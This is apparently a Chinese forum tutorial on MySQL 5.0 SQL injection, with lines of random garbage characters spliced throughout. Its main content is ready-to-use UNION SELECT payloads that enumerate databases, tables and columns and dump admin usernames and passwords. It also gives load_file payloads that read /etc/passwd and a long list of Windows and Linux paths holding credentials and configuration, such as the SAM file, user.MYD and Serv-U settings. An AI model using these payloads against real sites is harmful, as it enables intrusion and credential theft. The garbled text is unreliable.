mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
3 q. }: y# {. M/ T. W: M


$ b5 l! H, ^/ M8 o! VMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
' Y$ t$ L2 I" g0 j$ C7 g  _4 ]中记录了Mysql中所有
" n3 b7 F! L* g1 M) e/ E5 f1 W/ E; @存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
" n$ ^6 R; w1 q! l( _; z明。
2 i( p4 L# D0 O# [; n( k1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
/ y6 D/ h4 \" M7 z. q# I3 s|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名
( ]' \3 v- N5 s" t3 v4 E# N' ]+ r
|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称
3 t' R# g9 {* g
#########################################################################
! x8 z; y; H" d0 u1 d##
1 r0 s5 O- X8 ?& b" H
* z: {( ?( W$ j# D8 K0×001 获取系统信息:
& q& {6 t9 o7 K) H: R
union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

9 ~& d$ q8 F$ e; m- O2 ^/*
, w% Y. Y, @; z) i% O
3 ^1 P6 {2 Y4 ?9 g8 g# Q@@global.version_compile_os 获取系统版本
# }3 S7 {8 E, n8 \2 B6 V4 m+ A
& d6 Q+ ?" D0 P* C@@datadir 数据库路径
database() 当前数据库名称
( _5 ]- Q- \- L/ Q! k3 u! R0x3c62723e 换行HEX值
- T' `7 X0 z8 q3 j7 ~; Y
*/
& \. J$ G2 S' N4 {! z" D& k
, r1 k& u# c1 R3 t8 |- R) f######################################################################
; C! W, F: U; s; f9 R1 x
( h3 {8 M2 J8 z. ?7 x0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

1 b0 @  B- b8 F' F/*

0x67617264656e 为当前数据库名

2 n" }" w8 Y  I7 K; Hgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
. g8 p2 y) R1 @+ |4 u0 p' @! I
7 K" W% e# s0 G) p. I. S% P( N*/

2 ^9 k$ o4 O1 D0 t7 J######################################################################
4 X( Q, I+ H; M& Y8 x% ~& ^) S. m
+ P# V6 b: T! ?! l$ T. p1 `& a0×003 获取字段

) R2 F$ [7 O+ z$ tunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and
, v# {; D2 k/ o+ u" }) z# m

table_schema=0x67617264656e limit 1 /*
, b5 e. c# Z& L) ]9 U, ^
/*
( l3 C; A- c; R+ h+ S( Y* \9 C
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
3 v8 p9 u. i+ t4 B% F% |7 u
9 p, a/ q, [# n5 l: g% p0x61646d696e ->选择一个表

0x67617264656e ->数据库名

- I9 f3 d, e/ M9 I6 L3 s2 i( I% ~9 W*/
3 X  K8 Y% @! e) P. G! c/ @
#####################################################################
# e2 ^6 @% Y; r/ c( G4 }7 Z- J
+ \7 I. C1 V+ O# j% a, F! U0×004 获取数据
; \9 B: T  ]( p0 b
union select 1,2,3
; r9 b, `3 K, },4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

3 Z0 c. R$ t( U) o6 y/*
6 ]' q9 u  |5 h0 u1 H0 B: O
0 M$ W+ P3 \  d9 _/ ~; l; x* |0x3c62723e 换行符号HEX编码

- \8 }4 T- \) Q% |+ Xgroup_concat 同时获得该字段所有数据
# k1 x. t0 O* \% c, P* m
6 _% [; T# X; s*/

# c% y' Y) E3 z! _9 p5 p1 J: m* ?4 M7 S  ?


8 @) y, B0 J4 i' c; ~& [- p
顺便添加一些mysql注入时非常有用的一些东西
; g0 _- A( g2 U! U
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
; U7 V' t3 m% v0 m6 O" H3 a
% j2 h' @* W$ ~, f1:system_user() 系统用户名
2:user()        用户名
8 h/ M0 m- b0 j5 u3:current_user()  当前用户名
8 i. U! t# Y) r5 w# q3 j# R4:session_user()连接数据库的用户名
5:database()    数据库名
8 L6 w% A6 N1 N0 {. n: I# y1 R6:version()     MYSQL数据库版本
, R- T0 W2 I4 R  d! y7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
) R! m0 K8 a, I; N0 i, N: V9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
. ?( I5 P% h. G. }. W& s收集的一些路径：
% {2 I! p4 @6 L; b/ w/ FWINDOWS下:
c:/boot.ini          //查看系统版本
, w0 t0 C9 }, V$ i- uc:/windows/php.ini   //php配置信息
. \; Q) P$ _: U- Ic:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
: ?# b/ I" }+ |c:/winnt/my.ini
- v' X; w9 F9 y! h! dc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
  z. `" K1 {/ J5 n( u9 Nc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
. ]5 I8 x  N  F% a4 }' EC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
; v, A2 i1 V: a! q//存储了pcAnywhere的登陆密码
1 N; J$ e+ j9 c0 q2 U9 U) ^8 A/ D; pc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.

$ e( e8 x+ I, L, n: E
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
5 c5 O  t2 r" d# Qc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
5 k% o) H9 {) x8 \9 Y; D/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
# ~4 Y/ o' z8 h0 C5 r7 h+ @7 m8 j/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
, Q: }0 r9 \, N: J2 s/etc/redhat-release //系统版本
. `2 B* U/ g( `" D9 B/etc/issue
' `1 p. t) |  d2 M7 |' O% Z! ~( j$ w/etc/issue.net
9 ]) P6 |+ A. h" V0 D/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
# w$ k0 L8 r$ T6 I" E5 }/ i/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
) G9 S+ y) i9 H2 `$ E* ~, M/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
2 X* A4 c6 @, K( E/ {$ `+ u/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
; {# E( b* @) {% E  q1 z/ g/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
. W) d! T8 I6 m& u) b# f7 l4 _/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
, ^$ i. h& J5 W/ ]3 E/etc/sysconfig/iptables 查看防火墙策略
( N2 }1 B  ]; y7 Y) ~load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
! u' G8 J9 S  breplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
5 C% E* z! k- @% _( |$ Mreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
4 N+ l* S) N( I2 y; N' O  X上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

" o" a9 ~' `& H